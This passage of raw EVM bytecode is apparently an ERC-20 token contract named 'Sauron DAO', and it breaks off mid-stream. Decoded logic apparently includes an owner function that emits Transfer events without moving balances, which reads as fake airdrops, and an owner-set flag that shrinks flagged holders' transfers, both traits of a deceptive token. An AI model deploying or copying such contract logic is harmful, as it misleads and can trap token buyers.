65b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036110ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a39061333d565b60405180910390fd5b6110b581612741565b50565b6110c061154f565b601d60159054906101000a900460ff1615611110576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611107906133a5565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506111ad3060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a611198919061311e565b64746a5288006111a89190613168565b6115e7565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611217573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061123b91906133d7565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112c1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112e591906133d7565b6040518363ffffffff1660e01b8152600401611302929190613402565b6020604051808303815f875af115801561131e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061134291906133d7565b601d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c930610bac565b5f806113d3610e4f565b426040518863ffffffff1660e01b81526004016113f596959493929190613429565b60606040518083038185885af1158015611411573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906114369190613488565b505050601d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016114d69291906134d8565b6020604051808303815f875af11580156114f2573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061151691906132a2565b506001601d60196101000a81548160ff0219169083151502179055506001601d60156101000a81548160ff021916908315150217905550565b5f806115596115e0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166115de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d590613549565b60405180910390fd5b565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611655576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164c906135d7565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ba90613665565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161179d9190612cf4565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611818576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180f906136f3565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611886576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187d90613781565b60405180910390fd5b5f81116118c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118bf9061380f565b60405180910390fd5b5f8060035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508281101561194d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119449061389d565b60405180910390fd5b5f60095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054036119d4574360095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b601d601a9054906101000a900460ff161561207f576119f1610e4f565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614158015611a5f5750611a2f610e4f565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a9757505f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611ad1575061dead73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611aea5750601d60149054906101000a900460ff16155b1561207e57601d60179054906101000a900460ff16611bde57600a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611b9e5750600a5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b611bdd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd49061392b565b60405180910390fd5b5b601d60169054906101000a900460ff1615611da457611bfb610e4f565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611c83575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611cdc5750601d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611da3574360095f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410611d60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d57906139df565b60405180910390fd5b4360095f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5b60085f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611e41575060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611ee857601754831115611e8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8290613a6d565b60405180910390fd5b601854611e9785610bac565b84611ea29190613a8b565b1115611ee3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eda90613b08565b60405180910390fd5b61207d565b60085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611f85575060075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611fd457601754831115611fcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc690613b96565b60405180910390fd5b61207c565b60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1661207b5760185461202e85610bac565b846120399190613a8b565b111561207a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161207190613b08565b60405180910390fd5b5b5b5b5b5b601d60149054906101000a900460ff161580156120a85750601d601b9054906101000a900460ff165b156120ba576120b785846128c4565b92505b61210a8360035f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461292f90919063ffffffff16565b60035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506121ad612161838561292f90919063ffffffff16565b60035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461297890919063ffffffff16565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef612250858761292f90919063ffffffff16565b60405161225d9190612cf4565b60405180910390a35050505050565b5f8383111582906122b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122aa9190612c54565b60405180910390fd5b505f83856122c19190613bb4565b9050809150509392505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361233c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161233390613c57565b60405180910390fd5b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818111156123c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123b790613ce5565b60405180910390fd5b81810160035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516124619190612cf4565b60405180910390a3505050565b6001601d60186101000a81548160ff0219169083151502179055505f600267ffffffffffffffff8111156124a5576124a4613d03565b5b6040519080825280602002602001820160405280156124d35781602001602082028036833780820191505090505b50905030815f815181106124ea576124e96131a9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561258e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906125b291906133d7565b816001815181106125c6576125c56131a9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061262c3060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846115e7565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b815260040161268e959493929190613de7565b5f604051808303815f87803b1580156126a5575f80fd5b505af11580156126b7573d5f803e3d5ffd5b50505050505f601d60186101000a81548160ff02191690831515021790555050565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f1935050505015801561273d573d5f803e3d5ffd5b5050565b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f808303612814575f9050612875565b5f82846128219190613168565b90508284826128309190613e6c565b14612870576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161286790613f0c565b60405180910390fd5b809150505b92915050565b5f6128bc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506129d5565b905092915050565b5f80829050600b5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615612925576129228385612a36565b90505b8091505092915050565b5f61297083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061226c565b905092915050565b5f8082846129869190613a8b565b9050838110156129cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129c290613f74565b60405180910390fd5b8091505092915050565b5f8083118290612a1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a129190612c54565b60405180910390fd5b505f8385612a299190613e6c565b9050809150509392505050565b5f80603290505f60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205443612a869190613bb4565b90505f8282612a959190613168565b90505f60648211612ab257816064612aad9190613bb4565b612ab4565b5f5b90505f60648289612ac59190613168565b612acf9190613e6c565b9050612ae45f82612af190919063ffffffff16565b9550505050505092915050565b5f81831015612b005781612b02565b825b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612b3b82612b12565b9050919050565b612b4b81612b31565b8114612b55575f80fd5b50565b5f81359050612b6681612b42565b92915050565b5f60208284031215612b8157612b80612b0a565b5b5f612b8e84828501612b58565b91505092915050565b5f8115159050919050565b612bab81612b97565b82525050565b5f602082019050612bc45f830184612ba2565b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612c01578082015181840152602081019050612be6565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612c2682612bca565b612c308185612bd4565b9350612c40818560208601612be4565b612c4981612c0c565b840191505092915050565b5f6020820190508181035f830152612c6c8184612c1c565b905092915050565b5f819050919050565b612c8681612c74565b8114612c90575f80fd5b50565b5f81359050612ca181612c7d565b92915050565b5f8060408385031215612cbd57612cbc612b0a565b5b5f612cca85828601612b58565b9250506020612cdb85828601612c93565b9150509250929050565b612cee81612c74565b82525050565b5f602082019050612d075f830184612ce5565b92915050565b5f805f60608486031215612d2457612d23612b0a565b5b5f612d3186828701612b58565b9350506020612d4286828701612b58565b9250506040612d5386828701612c93565b9150509250925092565b5f80fd5b5f80fd5b5f80fd5b5f8083601f840112612d7e57612d7d612d5d565b5b8235905067ffffffffffffffff811115612d9b57612d9a612d61565b5b602083019150836020820283011115612db757612db6612d65565b5b9250929050565b5f805f60408486031215612dd557612dd4612b0a565b5b5f84013567ffffffffffffffff811115612df257612df1612b0e565b5b612dfe86828701612d69565b93509350506020612e1186828701612c93565b9150509250925092565b5f60ff82169050919050565b612e3081612e1b565b82525050565b5f602082019050612e495f830184612e27565b92915050565b5f60208284031215612e6457612e63612b0a565b5b5f612e7184828501612c93565b91505092915050565b612e8381612b31565b82525050565b5f602082019050612e9c5f830184612e7a565b92915050565b612eab81612b97565b8114612eb5575f80fd5b50565b5f81359050612ec681612ea2565b92915050565b5f805f60408486031215612ee357612ee2612b0a565b5b5f84013567ffffffffffffffff811115612f0057612eff612b0e565b5b612f0c86828701612d69565b93509350506020612f1f86828701612eb8565b9150509250925092565b5f8060408385031215612f3f57612f3e612b0a565b5b5f612f4c85828601612b58565b9250506020612f5d85828601612b58565b9150509250929050565b5f819050919050565b5f819050919050565b5f612f93612f8e612f8984612f67565b612f70565b612c74565b9050919050565b612fa381612f79565b82525050565b5f602082019050612fbc5f830184612f9a565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115613044578086048111156130205761301f612fc2565b5b600185161561302f5780820291505b808102905061303d85612fef565b9450613004565b94509492505050565b5f8261305c5760019050613117565b81613069575f9050613117565b816001811461307f5760028114613089576130b8565b6001915050613117565b60ff84111561309b5761309a612fc2565b5b8360020a9150848211156130b2576130b1612fc2565b5b50613117565b5060208310610133831016604e8410600b84101617156130ed5782820a9050838111156130e8576130e7612fc2565b5b613117565b6130fa8484846001612ffb565b9250905081840481111561311157613110612fc2565b5b81810290505b9392505050565b5f61312882612c74565b915061313383612e1b565b92506131607fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461304d565b905092915050565b5f61317282612c74565b915061317d83612c74565b925082820261318b81612c74565b915082820484148315176131a2576131a1612fc2565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f815190506131e481612c7d565b92915050565b5f602082840312156131ff576131fe612b0a565b5b5f61320c848285016131d6565b91505092915050565b5f61322f61322a61322584612b12565b612f70565b612b12565b9050919050565b5f61324082613215565b9050919050565b5f61325182613236565b9050919050565b61326181613247565b82525050565b5f60408201905061327a5f830185613258565b6132876020830184612ce5565b9392505050565b5f8151905061329c81612ea2565b92915050565b5f602082840312156132b7576132b6612b0a565b5b5f6132c48482850161328e565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f613327602683612bd4565b9150613332826132cd565b604082019050919050565b5f6020820190508181035f8301526133548161331b565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f61338f601783612bd4565b915061339a8261335b565b602082019050919050565b5f6020820190508181035f8301526133bc81613383565b9050919050565b5f815190506133d181612b42565b92915050565b5f602082840312156133ec576133eb612b0a565b5b5f6133f9848285016133c3565b91505092915050565b5f6040820190506134155f830185612e7a565b6134226020830184612e7a565b9392505050565b5f60c08201905061343c5f830189612e7a565b6134496020830188612ce5565b6134566040830187612f9a565b6134636060830186612f9a565b6134706080830185612e7a565b61347d60a0830184612ce5565b979650505050505050565b5f805f6060848603121561349f5761349e612b0a565b5b5f6134ac868287016131d6565b93505060206134bd868287016131d6565b92505060406134ce868287016131d6565b9150509250925092565b5f6040820190506134eb5f830185612e7a565b6134f86020830184612ce5565b9392505050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f613533602083612bd4565b915061353e826134ff565b602082019050919050565b5f6020820190508181035f83015261356081613527565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6135c1602483612bd4565b91506135cc82613567565b604082019050919050565b5f6020820190508181035f8301526135ee816135b5565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61364f602283612bd4565b915061365a826135f5565b604082019050919050565b5f6020820190508181035f83015261367c81613643565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6136dd602583612bd4565b91506136e882613683565b604082019050919050565b5f6020820190508181035f83015261370a816136d1565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61376b602383612bd4565b915061377682613711565b604082019050919050565b5f6020820190508181035f8301526137988161375f565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6137f9602983612bd4565b91506138048261379f565b604082019050919050565b5f6020820190508181035f830152613826816137ed565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f613887602683612bd4565b91506138928261382d565b604082019050919050565b5f6020820190508181035f8301526138b48161387b565b9050919050565b7f5f7472616e736665723a3a2054726164696e67206973206e6f742061637469765f8201527f652e000000000000000000000000000000000000000000000000000000000000602082015250565b5f613915602283612bd4565b9150613920826138bb565b604082019050919050565b5f6020820190508181035f83015261394281613909565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c5f8201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b5f6139c9604983612bd4565b91506139d482613949565b606082019050919050565b5f6020820190508181035f8301526139f6816139bd565b9050919050565b7f427579207472616e7366657220616d6f756e74206578636565647320746865205f8201527f6d617854782e0000000000000000000000000000000000000000000000000000602082015250565b5f613a57602683612bd4565b9150613a62826139fd565b604082019050919050565b5f6020820190508181035f830152613a8481613a4b565b9050919050565b5f613a9582612c74565b9150613aa083612c74565b9250828201905080821115613ab857613ab7612fc2565b5b92915050565b7f4d61782077616c6c6574206578636565646564000000000000000000000000005f82015250565b5f613af2601383612bd4565b9150613afd82613abe565b602082019050919050565b5f6020820190508181035f830152613b1f81613ae6565b9050919050565b7f53656c6c207472616e7366657220616d6f756e742065786365656473207468655f8201527f206d617854782e00000000000000000000000000000000000000000000000000602082015250565b5f613b80602783612bd4565b9150613b8b82613b26565b604082019050919050565b5f6020820190508181035f830152613bad81613b74565b9050919050565b5f613bbe82612c74565b9150613bc983612c74565b9250828203905081811115613be157613be0612fc2565b5b92915050565b7f45524332303a206275726e2066726f6d20746865207a65726f206164647265735f8201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b5f613c41602183612bd4565b9150613c4c82613be7565b604082019050919050565b5f6020820190508181035f830152613c6e81613c35565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e5f8201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b5f613ccf602283612bd4565b9150613cda82613c75565b604082019050919050565b5f6020820190508181035f830152613cfc81613cc3565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b613d6281612b31565b82525050565b5f613d738383613d59565b60208301905092915050565b5f602082019050919050565b5f613d9582613d30565b613d9f8185613d3a565b9350613daa83613d4a565b805f5b83811015613dda578151613dc18882613d68565b9750613dcc83613d7f565b925050600181019050613dad565b5085935050505092915050565b5f60a082019050613dfa5f830188612ce5565b613e076020830187612f9a565b8181036040830152613e198186613d8b565b9050613e286060830185612e7a565b613e356080830184612ce5565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f613e7682612c74565b9150613e8183612c74565b925082613e9157613e90613e3f565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f613ef6602183612bd4565b9150613f0182613e9c565b604082019050919050565b5f6020820190508181035f830152613f2381613eea565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613f5e601b83612bd4565b9150613f6982613f2a565b602082019050919050565b5f6020820190508181035f830152613f8b81613f52565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b4c8670a19afe764ab7ab7970f61e39fa9cd093b748e7a15118cc5d15d4b083a64736f6c634300081700330000000000000000000000004d265accf6c55f0c899d601c5ecbf44b2e5e76d1
Deployed Bytecode
0x6080604052600436106101db575f3560e01c8063622565891161010157806395d89b4111610094578063dd62ed3e11610063578063dd62ed3e14610640578063ec1f3f631461067c578063f2fde38b146106a4578063fb201b1d146106cc576101e2565b806395d89b4114610588578063a9059cbb146105b2578063bf474bed146105ee578063c2b7bbb614610618576101e2565b80637d1db4a5116100d05780637d1db4a5146104e25780638cd4426d1461050c5780638da5cb5b146105345780638f9a55c01461055e576101e2565b8063622565891461045257806370a0823114610468578063715018a6146104a457806373fa7ddb146104ba576101e2565b806326ededb81161017957806342966c681161014857806342966c68146103c057806349bd5a5e146103e85780634ada218b1461041257806351bc3c851461043c576101e2565b806326ededb81461032e578063293230b8146103565780632e82f1a01461036c578063313ce56714610396576101e2565b8063095ea7b3116101b5578063095ea7b3146102625780630faee56f1461029e57806318160ddd146102c857806323b872dd146102f2576101e2565b806302fa1f4a146101e65780630388e40e146101fc57806306fdde0314610238576101e2565b366101e257005b5f80fd5b3480156101f1575f80fd5b506101fa6106e2565b005b348015610207575f80fd5b50610222600480360381019061021d9190612b6c565b61072a565b60405161022f9190612bb1565b60405180910390f35b348015610243575f80fd5b5061024c61077c565b6040516102599190612c54565b60405180910390f35b34801561026d575f80fd5b5061028860048036038101906102839190612ca7565b6107b9565b6040516102959190612bb1565b60405180910390f35b3480156102a9575f80fd5b506102b26107d6565b6040516102bf9190612cf4565b60405180910390f35b3480156102d3575f80fd5b506102dc6107dc565b6040516102e99190612cf4565b60405180910390f35b3480156102fd575f80fd5b5061031860048036038101906103139190612d0d565b610800565b6040516103259190612bb1565b60405180910390f35b348015610339575f80fd5b50610354600480360381019061034f9190612dbe565b6108d4565b005b348015610361575f80fd5b5061036a6109a9565b005b348015610377575f80fd5b506103806109e8565b60405161038d9190612bb1565b60405180910390f35b3480156103a1575f80fd5b506103aa6109fb565b6040516103b79190612e36565b60405180910390f35b3480156103cb575f80fd5b506103e660048036038101906103e19190612e4f565b610a03565b005b3480156103f3575f80fd5b506103fc610a1f565b6040516104099190612e89565b60405180910390f35b34801561041d575f80fd5b50610426610a44565b6040516104339190612bb1565b60405180910390f35b348015610447575f80fd5b50610450610a57565b005b34801561045d575f80fd5b50610466610b06565b005b348015610473575f80fd5b5061048e60048036038101906104899190612b6c565b610bac565b60405161049b9190612cf4565b60405180910390f35b3480156104af575f80fd5b506104b8610bf2565b005b3480156104c5575f80fd5b506104e060048036038101906104db9190612ecc565b610c05565b005b3480156104ed575f80fd5b506104f6610ca8565b6040516105039190612cf4565b60405180910390f35b348015610517575f80fd5b50610532600480360381019061052d9190612ca7565b610cae565b005b34801561053f575f80fd5b50610548610e4f565b6040516105559190612e89565b60405180910390f35b348015610569575f80fd5b50610572610e77565b60405161057f9190612cf4565b60405180910390f35b348015610593575f80fd5b5061059c610e7d565b6040516105a99190612c54565b60405180910390f35b3480156105bd575f80fd5b506105d860048036038101906105d39190612ca7565b610eba565b6040516105e59190612bb1565b60405180910390f35b3480156105f9575f80fd5b50610602610ed7565b60405161060f9190612cf4565b60405180910390f35b348015610623575f80fd5b5061063e60048036038101906106399190612b6c565b610edd565b005b34801561064b575f80fd5b5061066660048036038101906106619190612f29565b610f28565b6040516106739190612cf4565b60405180910390f35b348015610687575f80fd5b506106a2600480360381019061069d9190612e4f565b610faa565b005b3480156106af575f80fd5b506106ca60048036038101906106c59190612b6c565b611036565b005b3480156106d7575f80fd5b506106e06110b8565b005b6106ea61154f565b5f6015819055507fe9b79e1a6c2dc43b4c0c6ff01ce9e3332d810e482270f464c0a21ad6c5fc6de35f6040516107209190612fa9565b60405180910390a1565b5f600b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b60606040518060400160405280600a81526020017f536175726f6e2044414f00000000000000000000000000000000000000000000815250905090565b5f6107cc6107c56115e0565b84846115e7565b6001905092915050565b601c5481565b5f6009600a6107eb919061311e565b64746a5288006107fb9190613168565b905090565b5f61080c8484846117aa565b6108c9846108186115e0565b6108c485604051806060016040528060288152602001613f936028913960045f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61087b6115e0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461226c9092919063ffffffff16565b6115e7565b600190509392505050565b6108dc61154f565b5f5b838390508110156109a3578383828181106108fc576108fb6131a9565b5b90506020020160208101906109119190612b6c565b73ffffffffffffffffffffffffffffffffffffffff16601d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161098e9190612cf4565b60405180910390a380806001019150506108de565b50505050565b6109b161154f565b6001601d60176101000a81548160ff0219169083151502179055505f601d601a6101000a81548160ff021916908315150217905550565b601d601b9054906101000a900460ff1681565b5f6009905090565b610a0b61154f565b610a1c610a166115e0565b826122ce565b50565b601d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601d60179054906101000a900460ff1681565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a976115e0565b73ffffffffffffffffffffffffffffffffffffffff1614610ab6575f80fd5b5f610ac030610bac565b90505f81118015610add5750601d60199054906101000a900460ff165b15610aec57610aeb8161246e565b5b5f4790505f811115610b0257610b01816126d9565b5b5050565b610b0e61154f565b6009600a610b1c919061311e565b64746a528800610b2c9190613168565b6019819055506009600a610b40919061311e565b64746a528800610b509190613168565b601a819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610b85919061311e565b64746a528800610b959190613168565b604051610ba29190612cf4565b60405180910390a1565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610bfa61154f565b610c035f612741565b565b610c0d61154f565b5f5b83839050811015610ca25781600b5f868685818110610c3157610c306131a9565b5b9050602002016020810190610c469190612b6c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080600101915050610c0f565b50505050565b60195481565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cee6115e0565b73ffffffffffffffffffffffffffffffffffffffff1614610d0d575f80fd5b5f610dab6064610d9d848673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610d509190612e89565b602060405180830381865afa158015610d6b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d8f91906131ea565b61280490919063ffffffff16565b61287b90919063ffffffff16565b90508273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401610e09929190613267565b6020604051808303815f875af1158015610e25573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e